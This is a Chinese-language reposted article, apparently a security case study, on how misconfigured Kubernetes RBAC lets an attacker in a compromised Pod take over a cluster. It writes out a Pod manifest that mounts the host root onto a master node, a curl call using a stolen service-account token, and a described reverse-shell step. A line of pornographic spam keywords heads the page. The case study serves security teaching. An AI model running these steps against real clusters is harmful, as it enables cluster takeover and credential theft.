国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

K8s攻擊案例:RBAC配置不當(dāng)導(dǎo)致集群接管

這篇具有很好參考價值的文章主要介紹了K8s攻擊案例:RBAC配置不當(dāng)導(dǎo)致集群接管。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點(diǎn)擊"舉報違法"按鈕提交疑問。

01、概述

Service Account本質(zhì)是服務(wù)賬號,是Pod連接K8s集群的憑證。在默認(rèn)情況下,系統(tǒng)會為創(chuàng)建的Pod提供一個默認(rèn)的Service Account,用戶也可以自定義Service Account,與Service Account關(guān)聯(lián)的憑證會自動掛載到Pod的文件系統(tǒng)中。

當(dāng)攻擊者通過某個web應(yīng)用獲取到一個Pod權(quán)限時,如果RBAC權(quán)限配置不當(dāng),Pod關(guān)聯(lián)的Service Account擁有創(chuàng)建Pod的權(quán)限。攻擊者就可以使用污點(diǎn)容忍的方式,將掛載根目錄的惡意Pod調(diào)度到Master節(jié)點(diǎn),獲取Master 節(jié)點(diǎn)上的 kubeconfig 文件,從而直接接管整個集群。

02、攻擊場景

(1)Service Account賦予bypass對test名稱空間擁有管理員權(quán)限。

kubectl create serviceaccount bypass -n test
kubectl create rolebinding sa-admin --clusterrole=cluster-admin --serviceaccount=test:bypass -n test
kubectl get pod --as=system:serviceaccount:test:bypass

k8s攻擊案例,云原生,K8s攻擊案例,容器安全

(2)在Pod中,使用自定義的Service Account。

k8s攻擊案例,云原生,K8s攻擊案例,容器安全

# pod-sa.yaml
apiVersion: v1
kind: Pod
metadata:
    name: pod-sa
    namespace: test
spec:
    serviceAccountName: "bypass"
    containers:
    - name: ubuntu
      image: ubuntu:20.04
      command: ['/bin/sh','-c','sleep 24h']

(3)在Pod創(chuàng)建時,Service Account關(guān)聯(lián)的憑證,會掛載到 /var/run/secrets/kubernetes.io/serviceaccount/ 目錄,其中ca.crt是證書、namespace是Pod所屬的命名空間,token是訪問API Server的令牌 。

k8s攻擊案例,云原生,K8s攻擊案例,容器安全

03、攻擊過程

(1)攻擊方式:kubectl 命令行操作

在Pod中,下載kubectl命令行工具,使用kubectl auth檢查權(quán)限,擁有當(dāng)前名稱空間中所有執(zhí)行操作的權(quán)限,這就具備了獲取集群權(quán)限的條件。

k8s攻擊案例,云原生,K8s攻擊案例,容器安全

編寫一個yaml文件,將節(jié)點(diǎn)的根目錄掛載到容器的/data 目錄,使用污點(diǎn)容忍度創(chuàng)建惡意Pod來對Master節(jié)點(diǎn)進(jìn)行橫向控制。

如下圖:將構(gòu)建的Pod成功調(diào)度到Mater節(jié)點(diǎn)。

k8s攻擊案例,云原生,K8s攻擊案例,容器安全

yaml文件內(nèi)容:

apiVersion: v1
kind: Pod
metadata:
  name: pod1
spec:
  nodeSelector:
    node-role.kubernetes.io/master: ""
  tolerations:
  - key: "node-role.kubernetes.io/master"
    operator: "Exists"
    effect: NoSchedule
  containers:
  - image: nginx:1.20
    name: pod1
    volumeMounts:
    - mountPath: /data
      name: data
  volumes:
  - name: data
    hostPath:
      path: /

攻擊者成功竊取 kubeconfig 文件,將獲得對 Kubernetes 集群的完全控制權(quán)限,從而能夠任意操控和管理整個集群。

k8s攻擊案例,云原生,K8s攻擊案例,容器安全

(2)攻擊方式:curl 命令操作

首先,創(chuàng)建一個包含惡意代碼的鏡像,用于反彈Shell,利用curl 命令操作 Kubernetes API創(chuàng)建Pod。

k8s攻擊案例,云原生,K8s攻擊案例,容器安全

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)


用curl創(chuàng)建pod
curl -k --header "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/yaml' \
-s -w "狀態(tài)碼是:%{http_code}\n" \
-d "$(cat /tmp/111.yaml)" \
 https://10.96.0.1/api/v1/namespaces/test/pods/

遠(yuǎn)程監(jiān)聽端口來接收Master節(jié)點(diǎn)創(chuàng)建的Pod反彈的shell連接,成功獲取到kubeconfig文件。

k8s攻擊案例,云原生,K8s攻擊案例,容器安全文章來源地址http://www.zghlxwxcb.cn/news/detail-785344.html

到了這里,關(guān)于K8s攻擊案例:RBAC配置不當(dāng)導(dǎo)致集群接管的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請點(diǎn)擊違法舉報進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • 案例分享-full gc導(dǎo)致k8s pod重啟

    案例分享-full gc導(dǎo)致k8s pod重啟

    ?在之前的記一次k8s pod頻繁重啟的優(yōu)化之旅中分享過對于pod頻繁重啟的一些案例,最近又遇到一例,繼續(xù)分享出來希望能給大家?guī)硇┰S收獲。 報警群里突然顯示某pod頻繁重啟,我隨即上去查看日志,主要分這么幾步:?? 1.查看pod重啟的原因,kubectl descirbe pod 上面的Reason:

    2024年02月02日
    瀏覽(22)
  • k8s實(shí)戰(zhàn)案例之部署Zookeeper集群

    k8s實(shí)戰(zhàn)案例之部署Zookeeper集群

    zookeeper是一個開源的分布式協(xié)調(diào)服務(wù),由知名互聯(lián)網(wǎng)公司Yahoo創(chuàng)建,它是Chubby的開源實(shí)現(xiàn);換句話講,zookeeper是一個典型的分布式數(shù)據(jù)一致性解決方案,分布式應(yīng)用程序可以基于它實(shí)現(xiàn)數(shù)據(jù)的發(fā)布/訂閱、負(fù)載均衡、名稱服務(wù)、分布式協(xié)調(diào)/通知、集群管理、Master選舉、分布式鎖

    2024年02月08日
    瀏覽(24)
  • K8S集群中Node節(jié)點(diǎn)資源不足導(dǎo)致Pod無法運(yùn)行的故障排查思路

    故障一:Pod數(shù)量太多超出物理節(jié)點(diǎn)的限制 每一臺Node節(jié)點(diǎn)中默認(rèn)限制最多運(yùn)行110個Pod資源,當(dāng)一個應(yīng)用程序有成百上千的Pod資源時,如果不擴(kuò)容Node節(jié)點(diǎn)或者修改最大Pod數(shù)量限制,那么就會導(dǎo)致部分Pod資源無法正常運(yùn)行,因?yàn)楣?jié)點(diǎn)已經(jīng)沒有資源可以被調(diào)度了。 解決思路就是擴(kuò)容

    2024年02月02日
    瀏覽(31)
  • 驗(yàn)證K8S集群pod之間傳輸速度過慢,導(dǎo)致pod之間業(yè)務(wù)無法正常交互

    原因: K8S部署完成后,但是pod之間無法進(jìn)行交互訪問,導(dǎo)致pod異常 定位思路: 通過啟動兩個busybox容器,之間進(jìn)行scp傳輸文件,驗(yàn)證pod之間tcp連接是否正常 解決方法: 運(yùn)行第一個busybox 拷貝文件至busybox1 進(jìn)入第一個busybox1 進(jìn)入第二個busybox1 結(jié)論: 發(fā)現(xiàn)1K的文件可以相互拷貝

    2024年03月19日
    瀏覽(27)
  • k8s - 安全認(rèn)證(RBAC)

    k8s - 安全認(rèn)證(RBAC)

    api server 是集群訪問控制的統(tǒng)一入口 k8s認(rèn)證過程: 認(rèn)證 - 授權(quán) - 準(zhǔn)入控制 ( adminationcontroller ) 1 認(rèn)證()是對客戶端的認(rèn)證,簡單說就是賬戶密碼 2 授權(quán)()是資源的授權(quán),容器、網(wǎng)絡(luò)、存儲資源的權(quán)限 3 準(zhǔn)入機(jī)制 準(zhǔn)入控制器位于api server ,在對象被持久化之前,準(zhǔn)入控制器

    2024年02月08日
    瀏覽(20)
  • K8s RBAC認(rèn)證授權(quán)深度解析

    K8s RBAC認(rèn)證授權(quán)深度解析

    ? ??明明跟你說過:個人主頁 ??個人專欄:《Kubernetes航線圖:從船長到K8s掌舵者》??? ??行路有良友,便是天堂?? 目錄 一、前言 1、k8s簡介 2、RBAC簡介? 二、RBAC核心概念 1、角色(Role)與集群角色(ClusterRole) 2、角色綁定(RoleBinding)與集群角色綁定(ClusterRoleBindin

    2024年04月28日
    瀏覽(26)
  • etcd在高磁盤IO的情況下會導(dǎo)致K8S集群不可用的解決思路

    etcd是Kubernetes中用于存儲集群狀態(tài)信息的關(guān)鍵組件。高磁盤IO可能導(dǎo)致etcd性能下降,從而影響整個Kubernetes集群的穩(wěn)定性。解決這個問題可以從多個方面入手: 優(yōu)化etcd配置 :檢查etcd的配置參數(shù),確保其與您的硬件配置和集群規(guī)模相適應(yīng)??梢哉{(diào)整etcd的并發(fā)限制、緩存大小等

    2024年02月15日
    瀏覽(35)
  • k8s1.20集群域名與集群ip解析詳解及使用案例

    目錄 一.k8s中的域名解析淺析 1.單機(jī) 2.k8s的容器中 二.k8s不同版本對應(yīng)的dns域名服務(wù)組件

    2024年02月09日
    瀏覽(26)
  • K8s中Service Account和RBAC

    1.什么是Service Account? ①.ServiceAccount(服務(wù)賬戶)是Kubernetes集群中的一種資源對象,用于為Pod或其他資源提供身份驗(yàn)證和授權(quán),以便它們能夠與Kubernetes API進(jìn)行交互。 ②.ServiceAccount是Kubernetes中用于管理Pod身份驗(yàn)證和授權(quán)的重要資源,它使得Pod能夠在集群中具有獨(dú)立的身份,

    2024年02月03日
    瀏覽(22)
  • (2022版)一套教程搞定k8s安裝到實(shí)戰(zhàn) | RBAC

    視頻來源:B站《(2022版)最新、最全、最詳細(xì)的Kubernetes(K8s)教程,從K8s安裝到實(shí)戰(zhàn)一套搞定》 一邊學(xué)習(xí)一邊整理老師的課程內(nèi)容及試驗(yàn)筆記,并與大家分享,侵權(quán)即刪,謝謝支持! 附上匯總貼:(2022版)一套教程搞定k8s安裝到實(shí)戰(zhàn) | 匯總_COCOgsta的博客-CSDN博客 基于角色

    2024年02月04日
    瀏覽(14)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包